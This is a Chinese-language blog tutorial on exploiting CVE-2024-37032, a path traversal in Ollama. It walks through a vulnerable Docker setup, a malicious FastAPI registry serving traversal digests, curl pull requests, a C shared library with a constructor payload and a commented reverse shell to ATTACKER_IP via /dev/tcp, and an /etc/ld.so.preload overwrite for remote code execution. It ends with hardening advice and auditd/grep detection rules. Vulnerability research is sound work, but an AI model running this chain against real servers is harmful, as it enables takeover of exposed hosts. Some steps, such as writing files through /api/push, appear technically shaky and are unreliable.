Ollama漏洞实战:手把手教你复现CVE-2024-37032(附Docker环境搭建)
Ollama CVE-2024-37032漏洞深度实战:从环境搭建到RCE利用全解析
最近在本地测试大模型时,偶然发现Ollama这个工具在安全圈里引起了不小的波澜。一个编号为CVE-2024-37032的漏洞,让这个原本用于简化AI模型部署的开源项目,成为了攻击者可能远程控制服务器的入口。对于安全研究人员和渗透测试工程师来说,理解这类漏洞的成因、复现过程以及防御方法,是提升实战能力的重要途径。今天,我就结合自己的测试经验,带你一步步搭建环境、分析原理,并亲手复现这个高危漏洞。
1. 漏洞背景与环境准备
Ollama本质上是一个让开发者能够轻松在本地运行大型语言模型(如Llama、Mistral等)的工具。它通过Docker容器化的方式,将复杂的模型依赖和运行环境打包,用户只需几条命令就能启动一个AI对话服务。然而,正是这种便捷性,在安全设计上埋下了隐患。
在0.1.34之前的版本中,Ollama的API服务器存在路径遍历漏洞。简单来说,攻击者可以通过构造特殊的请求,让服务器将文件写入到任意目录,进而实现远程代码执行。这个漏洞的CVSS评分高达9.1,属于严重级别。
注意:本文所有操作均在授权的测试环境中进行,严禁用于任何非法目的。漏洞复现的目的是为了提升安全防护能力,请务必遵守法律法规。
1.1 搭建受影响的Ollama环境
要复现漏洞,首先需要搭建一个存在漏洞的Ollama环境。最方便的方式就是使用Docker。我推荐使用0.1.33版本,这是受影响的典型版本之一。
# 创建一个用于持久化存储的Docker卷
docker volume create ollama_data
# 运行存在漏洞的Ollama容器
docker run -d \
--name vulnerable_ollama \
-v ollama_data:/root/.ollama \
-p 11434:11434 \
ollama/ollama:0.1.33
# 验证容器是否正常运行
docker ps | grep ollama
运行成功后,你可以通过访问 http://localhost:11434 来确认服务是否启动。正常情况下,你会看到一个简单的API响应页面。
这里有几个关键参数需要理解:
-v ollama_data:/root/.ollama:将容器内的模型存储目录挂载到宿主机,这样即使容器重启,已下载的模型也不会丢失。-p 11434:11434:将容器的11434端口映射到宿主机的相同端口,这是Ollama API的默认端口。
1.2 环境配置检查与工具准备
在开始漏洞利用之前,我们需要确保测试环境配置正确,并准备好必要的工具。
Python环境要求:
- Python 3.7或更高版本
- 安装FastAPI和uvicorn库(用于搭建恶意注册表服务器)
- 安装requests库(用于发送HTTP请求)
# 安装必要的Python包
pip install fastapi uvicorn requests
# 验证安装
python -c "import fastapi; import uvicorn; import requests; print('环境准备就绪')"
网络配置检查: 由于漏洞利用涉及容器间通信,需要确保Docker网络配置允许容器访问宿主机的服务。在默认的Docker桥接网络模式下,容器可以通过宿主机的IP地址访问宿主机上运行的服务。
# 获取宿主机的Docker网络IP(在容器内部访问宿主机时使用)
# 在Linux/macOS上:
host_ip=$(ip route | grep default | awk '{print $3}')
echo "宿主机在Docker网络中的IP: $host_ip"
# 在Windows上(PowerShell):
# $host_ip = (Get-NetIPConfiguration | Where-Object { $_.IPv4DefaultGateway -ne $null }).IPv4Address.IPAddress
2. 漏洞原理深度剖析
要真正理解CVE-2024-37032,我们需要深入Ollama的架构设计。Ollama支持从私有注册表拉取AI模型,这个功能原本是为了方便企业部署内部模型,但却成了漏洞的根源。
2.1 API端点安全缺陷
Ollama提供了多个API端点,其中 /api/pull 用于从注册表下载模型。当从私有注册表拉取模型时,Ollama会获取一个清单文件(manifest),这个文件描述了模型的元数据和存储位置。
问题出在清单文件的digest字段处理上。这个字段本应包含文件的哈希值,但Ollama的代码没有对其进行严格的路径验证。攻击者可以在digest字段中注入路径遍历序列(如../../../../etc/passwd),诱使服务器将文件写入或读取到预期目录之外的位置。
让我们看看漏洞的核心代码逻辑(基于公开的分析):
// 简化版的漏洞代码示意
func processManifest(manifest ModelManifest) error {
for _, layer := range manifest.Layers {
// 这里缺少对digest字段的路径遍历检查
filePath := filepath.Join(baseDir, layer.Digest)
// 如果layer.Digest包含"../",filePath可能指向baseDir之外的目录
err := ioutil.WriteFile(filePath, layer.Data, 0644)
if err != nil {
return err
}
}
return nil
}
2.2 路径遍历到RCE的转化
单纯的路径遍历可能只能实现文件读取或覆盖,但结合Docker容器的特性,这个漏洞可以升级为完整的远程代码执行。关键点在于/etc/ld.so.preload文件。
在Linux系统中,/etc/ld.so.preload文件指定了在程序启动时需要预加载的共享库。如果攻击者能够覆盖这个文件,并指向一个恶意共享库,那么任何新启动的进程都会自动加载这个恶意库,从而执行攻击者的代码。
攻击链可以概括为:
- 任意文件写入:通过恶意清单文件的
digest字段,将文件写入到任意位置 - 写入恶意共享库:创建一个包含攻击代码的共享库文件(如
/tmp/evil.so) - 篡改预加载配置:覆盖
/etc/ld.so.preload,添加恶意共享库路径 - 触发新进程:通过Ollama的API触发新进程启动(如
/api/chat端点) - 代码执行:新进程自动加载恶意共享库,执行攻击代码
2.3 影响范围与利用条件
为了帮助你快速评估风险,我整理了漏洞利用的关键条件:
| 利用条件 | 说明 | 默认配置下的情况 |
|---|---|---|
| Ollama版本 | 低于0.1.34 | 0.1.33及以下版本均受影响 |
| API访问权限 | 能够访问Ollama API端点 | Docker部署默认暴露11434端口 |
| 注册表控制 | 能够控制模型注册表响应 | 攻击者可以搭建恶意注册表 |
| 文件写入权限 | 能够写入系统关键文件 | Docker容器默认以root运行 |
从表格可以看出,在默认的Docker部署中,所有条件都满足,这使得漏洞的利用门槛相对较低。
3. 漏洞复现实战步骤
现在让我们进入实战环节。我将分步骤演示如何复现这个漏洞,从文件读取到最终的远程代码执行。
3.1 搭建恶意注册表服务器
首先,我们需要搭建一个恶意的模型注册表服务器,用于响应Ollama的拉取请求。这个服务器会返回包含路径遍历payload的清单文件。
# malicious_registry.py
from fastapi import FastAPI, Request, Response
import uvicorn
app = FastAPI()
PATH_TRAVERSAL_PREFIX = "../" * 14 # 足够的../以跳出限制目录
@app.get("/v2/test/manifests/latest")
async def get_manifest():
"""返回包含路径遍历payload的恶意清单"""
return {
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": f"{PATH_TRAVERSAL_PREFIX}etc/passwd", # 路径遍历payload
"size": 10
},
"layers": [
{
"mediaType": "application/vnd.ollama.image.license",
"digest": f"{PATH_TRAVERSAL_PREFIX}tmp/notfound",
"size": 10
}
]
}
@app.get("/{path:path}")
async def catch_all(path: str):
"""处理其他请求"""
return {"error": "Not found"}
if __name__ == "__main__":
# 启动恶意注册表服务器
uvicorn.run(app, host="0.0.0.0", port=8080)
保存这个文件并运行:
python malicious_registry.py
服务器将在8080端口监听,等待Ollama的请求。
3.2 利用路径遍历读取任意文件
现在,我们让Ollama从我们的恶意注册表拉取"模型",实际上触发文件读取漏洞。
# 向存在漏洞的Ollama实例发送拉取请求
curl -X POST http://localhost:11434/api/pull \
-H "Content-Type: application/json" \
-d '{
"name": "192.168.1.100:8080/test/model:latest",
"insecure": true
}'
注意将192.168.1.100替换为你的恶意注册表服务器的实际IP地址。insecure: true参数是必要的,因为我们使用的是自签名的HTTP服务。
这个请求会触发Ollama从我们的恶意注册表拉取模型。注册表返回的清单文件中,digest字段包含了路径遍历序列,指向/etc/passwd文件。Ollama在处理这个清单时,会尝试读取该文件的内容。
要验证文件是否被成功读取,我们需要检查恶意注册表服务器的日志。当Ollama尝试获取文件内容时,我们的服务器会收到请求,这时可以记录或显示文件内容。
3.3 实现任意文件写入
文件读取只是第一步,更危险的是文件写入。通过修改恶意清单,我们可以让Ollama将数据写入到任意位置。
# 修改恶意清单,实现文件写入
malicious_manifest = {
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": f"{PATH_TRAVERSAL_PREFIX}tmp/test_write", # 写入到/tmp/test_write
"size": 10
},
"layers": [
{
"mediaType": "application/vnd.ollama.image.license",
"digest": f"{PATH_TRAVERSAL_PREFIX}tmp/test_write",
"size": 10,
"data": "这是写入的测试内容" # 实际利用中,这里可以是二进制数据
}
]
}
在实际利用中,我们需要通过/api/push端点将恶意模型推送到Ollama,触发文件写入。这个过程比文件读取稍微复杂,需要模拟完整的注册表交互流程。
3.4 升级到远程代码执行
要实现真正的远程代码执行,我们需要完成以下步骤:
步骤1:创建恶意共享库
首先,编写一个简单的恶意共享库。这个库将在被加载时执行我们的代码。
// evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
// 这个函数会在库被加载时自动执行
system("touch /tmp/pwned_success"); // 创建标记文件,证明代码已执行
// 在实际攻击中,这里可以执行反弹shell等操作
// system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
}
编译这个共享库:
gcc -shared -fPIC -o evil.so evil.c
步骤2:将共享库写入目标系统
通过漏洞将编译好的共享库写入到目标系统的可访问位置,比如/tmp/evil.so。
步骤3:覆盖/etc/ld.so.preload
再次利用文件写入漏洞,修改/etc/ld.so.preload文件,添加我们的恶意共享库路径:
/tmp/evil.so
步骤4:触发新进程
通过Ollama的API触发一个新进程的启动。最简单的方法是调用/api/chat端点:
curl -X POST http://localhost:11434/api/chat \
-H "Content-Type: application/json" \
-d '{
"model": "llama2",
"messages": [
{"role": "user", "content": "Hello"}
]
}'
如果一切顺利,新启动的进程会加载/tmp/evil.so,执行我们的恶意代码。你可以检查/tmp/pwned_success文件是否被创建来验证攻击是否成功。
重要提示:在实际测试中,由于Docker容器的隔离性,可能需要根据具体的容器配置调整攻击路径。有些容器可能限制了某些系统调用的使用。
4. 自动化利用工具解析
手动复现虽然有助于理解漏洞原理,但在实际测试中,我们更倾向于使用自动化工具。GitHub上已经有一些公开的PoC代码,让我们分析其中一个典型的实现。
4.1 工具架构分析
一个完整的利用工具通常包含以下组件:
- 恶意注册表服务器:模拟Ollama私有注册表,响应拉取和推送请求
- 路径遍历payload生成器:构造包含../序列的digest字段
- 文件内容提取器:从服务器响应中提取读取到的文件内容
- RCE payload部署器:自动化部署恶意共享库和修改preload文件
工具的工作流程如下:
# 简化的自动化利用流程
def exploit(target_ip, attacker_ip, file_to_read):
# 1. 启动恶意注册表
start_malicious_registry(attacker_ip)
# 2. 发送拉取请求,触发文件读取
pull_response = send_pull_request(target_ip, attacker_ip, file_to_read)
# 3. 解析响应,提取文件内容
file_content = extract_file_content(pull_response)
# 4. 如果需要RCE,部署恶意共享库
if enable_rce:
deploy_malicious_library(target_ip, attacker_ip)
modify_preload_file(target_ip)
trigger_new_process(target_ip)
return file_content
4.2 关键代码片段解析
让我们看看实际PoC中的一些关键实现:
def generate_path_traversal_payload(target_file, depth=14):
"""生成路径遍历payload"""
# 计算需要多少层../才能跳出限制目录
traversal = "../" * depth
return f"{traversal}{target_file.lstrip('/')}"
def create_malicious_manifest(target_file, attacker_ip):
"""创建恶意清单文件"""
payload = generate_path_traversal_payload(target_file)
return {
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": payload,
"size": 1024
},
"layers": [
{
"mediaType": "application/vnd.ollama.image.license",
"digest": payload,
"size": 1024
}
]
}
这个函数创建了一个包含路径遍历payload的清单文件。当Ollama处理这个清单时,会尝试访问digest字段指定的文件路径。
4.3 使用现有PoC的注意事项
如果你选择使用GitHub上现有的PoC工具,有几个重要事项需要注意:
- 环境适配:确保工具与你的测试环境兼容,特别是网络配置和Python版本
- 参数调整:根据目标Ollama的部署方式调整参数,如端口号、IP地址等
- 错误处理:添加适当的错误处理和日志记录,便于调试
- 安全考虑:在隔离的测试环境中运行,避免意外影响生产系统
我建议在使用任何自动化工具前,先阅读其源代码,理解每一步的操作,这样在遇到问题时能够快速定位和解决。
5. 防御措施与安全建议
复现漏洞的目的是为了更好地防御。在理解了攻击原理后,让我们看看如何保护Ollama实例免受此类攻击。
5.1 立即修复措施
升级到安全版本: 这是最直接有效的解决方法。Ollama在0.1.34版本中修复了此漏洞。
# 升级Ollama到最新版本
# 如果使用Docker:
docker pull ollama/ollama:latest
docker stop ollama
docker rm ollama
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:latest
# 如果直接安装:
# 参考官方文档:https://github.com/ollama/ollama
网络访问控制: 如果暂时无法升级,可以通过网络层进行防护。
# 使用防火墙限制访问
# 只允许本地访问(Linux iptables示例)
iptables -A INPUT -p tcp --dport 11434 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 11434 -j DROP
# 或使用Docker网络配置
docker network create ollama_private
docker run -d --network ollama_private -p 127.0.0.1:11434:11434 ollama/ollama:0.1.33
5.2 长期安全加固策略
实施身份验证: Ollama默认不启用身份验证,这是很大的安全风险。可以通过反向代理添加认证层。
# Nginx配置示例(添加基本认证)
server {
listen 11435;
server_name localhost;
location / {
proxy_pass http://localhost:11434;
# 添加基本认证
auth_basic "Ollama API";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
最小权限原则: 不要以root权限运行Ollama服务。
# 自定义Dockerfile,以非root用户运行
FROM ollama/ollama:latest
# 创建非root用户
RUN adduser --disabled-password --gecos '' ollamauser
# 更改文件权限
RUN chown -R ollamauser:ollamauser /root/.ollama
# 切换到非root用户
USER ollamauser
CMD ["ollama", "serve"]
安全监控与审计: 建立监控机制,及时发现异常行为。
# 监控Ollama日志中的异常请求
tail -f /var/log/ollama.log | grep -E "(\.\./|%2e%2e%2f|pull.*insecure)"
# 使用auditd监控关键文件访问
auditctl -w /etc/ld.so.preload -p wa -k ollama_preload
auditctl -w /root/.ollama/models -p wa -k ollama_models
5.3 安全配置检查清单
为了帮助你全面评估Ollama部署的安全性,我整理了一个检查清单:
| 检查项 | 安全配置 | 检查方法 |
|---|---|---|
| 版本安全 | 使用0.1.34或更高版本 | ollama --version |
| 网络暴露 | API不直接暴露到公网 | 检查防火墙规则 |
| 身份验证 | 启用API认证 | 测试未授权访问 |
| 运行权限 | 不以root运行 | ps aux | grep ollama |
| 文件权限 | 关键文件权限适当 | ls -la /etc/ld.so.preload |
| 日志监控 | 启用详细日志并监控 | 检查日志文件 |
| 注册表信任 | 只信任可信注册表 | 检查配置文件中registry设置 |
| 模型来源 | 只使用可信模型 | 审查已下载模型列表 |
定期运行这个检查清单,可以大大降低安全风险。
6. 漏洞研究的方法论思考
通过这次CVE-2024-37032的复现,我总结了一些漏洞研究的方法,希望对你有帮助。
从攻击者视角思考: 理解漏洞的第一步是站在攻击者的角度。问自己:如果我要攻击这个系统,我会关注哪些入口点?哪些功能可能处理用户可控的输入?在Ollama的例子中,从私有注册表拉取模型这个功能点,就是需要重点关注的对象。
深入代码审计: 公开的漏洞描述往往只给出结论,真正的理解需要阅读代码。对于开源项目,直接查看GitHub上的源代码是学习的最佳途径。关注:
- 输入验证逻辑
- 文件操作函数的使用
- 权限检查机制
- 错误处理方式
构建测试环境: 一个可控的测试环境是漏洞研究的基石。Docker在这方面提供了极大便利,可以快速搭建、重置测试环境。我习惯为每个重要的测试创建独立的环境:
# 创建测试环境脚本
#!/bin/bash
# setup_test_env.sh
# 清理旧环境
docker rm -f vulnerable_ollama 2>/dev/null
docker volume rm ollama_data 2>/dev/null
# 创建新环境
docker volume create ollama_data
docker run -d --name vulnerable_ollama \
-v ollama_data:/root/.ollama \
-p 11434:11434 \
ollama/ollama:0.1.33
echo "测试环境已就绪,Ollama运行在 http://localhost:11434"
记录与分析: 详细记录测试过程,包括:
- 测试的输入和输出
- 观察到的现象
- 遇到的问题和解决方法
- 时间线和关键发现
这些记录不仅有助于复现和验证,也是编写报告和分享经验的基础。
负责任披露: 如果你发现了新的漏洞,遵循负责任的披露流程:
- 确认漏洞的可复现性
- 准备详细的技术报告
- 联系厂商或通过适当渠道报告
- 给予合理的修复时间
- 在修复后或约定时间后公开细节
这种工作方式让我在复现CVE-2024-37032时少走了很多弯路。每次深入分析一个漏洞,不仅提升了技术能力,也加深了对系统安全设计的理解。安全研究是一场攻防的博弈,只有真正理解攻击者的思维和方法,才能构建更坚固的防御。
更多推荐

所有评论(0)